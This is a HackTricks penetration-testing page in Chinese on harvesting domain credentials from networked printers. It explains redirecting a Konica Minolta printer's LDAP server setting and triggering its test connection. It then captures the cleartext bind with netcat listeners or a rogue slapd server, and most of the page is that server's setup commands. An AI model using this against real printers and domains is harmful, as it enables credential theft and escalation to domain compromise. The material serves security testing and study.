hacktricks/windows-hardening/active-directory-methodology/ad-information-in-printers.md

12 KiB
Raw Blame History

零基础学习AWS黑客攻击到高手 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

互联网上有几个博客强调了使用默认/弱登录凭证配置LDAP的打印机的危险
这是因为攻击者可以诱使打印机对一个恶意的LDAP服务器进行认证(通常一个nc -vv -l -p 444就足够了),并且能够以明文形式捕获打印机的凭证

此外,一些打印机会包含带有用户名的日志,甚至可能能够从域控制器下载所有用户名

所有这些敏感信息以及常见的安全缺失使得打印机对攻击者来说非常有趣。

关于此主题的一些博客:

以下信息摘自 https://grimhacker.com/2018/03/09/just-a-printer/

LDAP设置

在Konica Minolta打印机上可以配置要连接的LDAP服务器以及凭证。我听说在这些设备的早期固件版本中可以通过阅读页面的html源代码简单地恢复凭证。但现在界面中不再返回凭证所以我们必须更加努力。

LDAP服务器列表位于网络 > LDAP设置 > 设置LDAP

该界面允许修改LDAP服务器而无需重新输入将用于连接的凭证。我认为这是为了简化用户体验但它为攻击者提供了从打印机主人升级到域上的立足点的机会。

我们可以将LDAP服务器地址设置重新配置为我们控制的机器并利用“测试连接”功能触发连接。

监听货物

netcat

如果你比我更幸运你可能只需要一个简单的netcat监听器

sudo nc -k -v -l -p 386

确保由@_castleinthesky提供的信息,这个方法大多数时间内有效,但我个人还没有这么轻松就成功过。

Slapd

我发现需要一个完整的LDAP服务器因为打印机首先尝试一个空绑定然后查询可用信息只有这些操作成功后它才会使用凭据进行绑定。

我寻找了一个简单的LDAP服务器来满足需求但似乎选项有限。最终我选择设置一个开放的LDAP服务器并使用slapd调试服务器服务来接受连接并打印打印机发出的消息。如果你知道更简单的替代方案我很乐意了解

安装

(注意这部分是对这里的指南进行了轻微改编 https://www.server-world.info/en/note?os=Fedora_26&p=openldap

从root终端开始

安装OpenLDAP

#> dnf install -y install openldap-servers openldap-clients

#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG

#> chown ldap. /var/lib/ldap/DB_CONFIG

设置一个OpenLDAP管理员密码您很快会再次需要这个

#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> vim chrootpw.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={0}config,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={0}config,cn=config"

导入基本架构

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=cosine,cn=schema,cn=config"

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=nis,cn=schema,cn=config"

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=inetorgperson,cn=schema,cn=config"

在LDAP数据库上设置您的域名。

# generate directory manager's password
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

#> vim chdomain.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={1}monitor,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=Manager,dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to attrs=userPassword,shadowLastChange by
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
olcAccess: {1}to dn.base="" by * read
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read

#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={1}monitor,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

#> vim basedomain.ldif
dn: dc=foo,dc=bar
objectClass: top
objectClass: dcObject
objectclass: organization
o: Foo Bar
dc: DC1

dn: cn=Manager,dc=foo,dc=bar
objectClass: organizationalRole
cn: Manager
description: Directory Manager

dn: ou=People,dc=foo,dc=bar
objectClass: organizationalUnit
ou: People

dn: ou=Group,dc=foo,dc=bar
objectClass: organizationalUnit
ou: Group

#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif
Enter LDAP Password: # directory manager's password
adding new entry "dc=foo,dc=bar"

adding new entry "cn=Manager,dc=foo,dc=bar"

adding new entry "ou=People,dc=foo,dc=bar"

adding new entry "ou=Group,dc=foo,dc=bar"

配置LDAP TLS

创建SSL证书

#> cd /etc/pki/tls/certs
#> make server.key
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > server.key
Generating RSA private key, 2048 bit long modulus
...
...
e is 65537 (0x10001)
Enter pass phrase: # set passphrase
Verifying - Enter pass phrase: # confirm

# remove passphrase from private key
#> openssl rsa -in server.key -out server.key
Enter pass phrase for server.key: # input passphrase
writing RSA key

#> make server.csr
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]: # country
State or Province Name (full name) []: # state
Locality Name (eg, city) [Default City]: # city
Organization Name (eg, company) [Default Company Ltd]: # company
Organizational Unit Name (eg, section) []:Foo Bar # department
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
Email Address []:xxx@foo.bar # admin email
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: # Enter
An optional company name []: # Enter

#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
Signature ok
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
Getting Private key

为Slapd配置SSL/TLS

#> cp /etc/pki/tls/certs/server.key \
/etc/pki/tls/certs/server.crt \
/etc/pki/tls/certs/ca-bundle.crt \
/etc/openldap/certs/

#> chown ldap. /etc/openldap/certs/server.key \
/etc/openldap/certs/server.crt \
/etc/openldap/certs/ca-bundle.crt

#> vim mod_ssl.ldif
# create new
dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
-
replace: olcTLSCertificateFile
olcTLSCertificateFile: /etc/openldap/certs/server.crt
-
replace: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key

#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"

允许通过本地防火墙的LDAP

firewall-cmd --add-service={ldap,ldaps}

收益

一旦您安装并配置了LDAP服务您可以使用以下命令运行它

slapd -d 2

下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。如您所见用户名和密码从LDAP客户端传递到服务器。

slapd终端输出包含用户名"MyUser"和密码"MyPassword"

有多糟糕?

这非常取决于已配置的凭据。

如果遵循最小权限原则那么您可能只能读取Active Directory的某些元素。这通常仍然很有价值因为您可以使用该信息来制定更精确的攻击。

通常您可能会得到Domain Users组中的一个账户这可能会让您访问敏感信息或形成其他攻击的先决认证。

或者像我一样您可能因为设置了LDAP服务器而得到了一个Domain Admin账户就像是端上银盘一样。

从零到英雄学习AWS黑客攻击通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式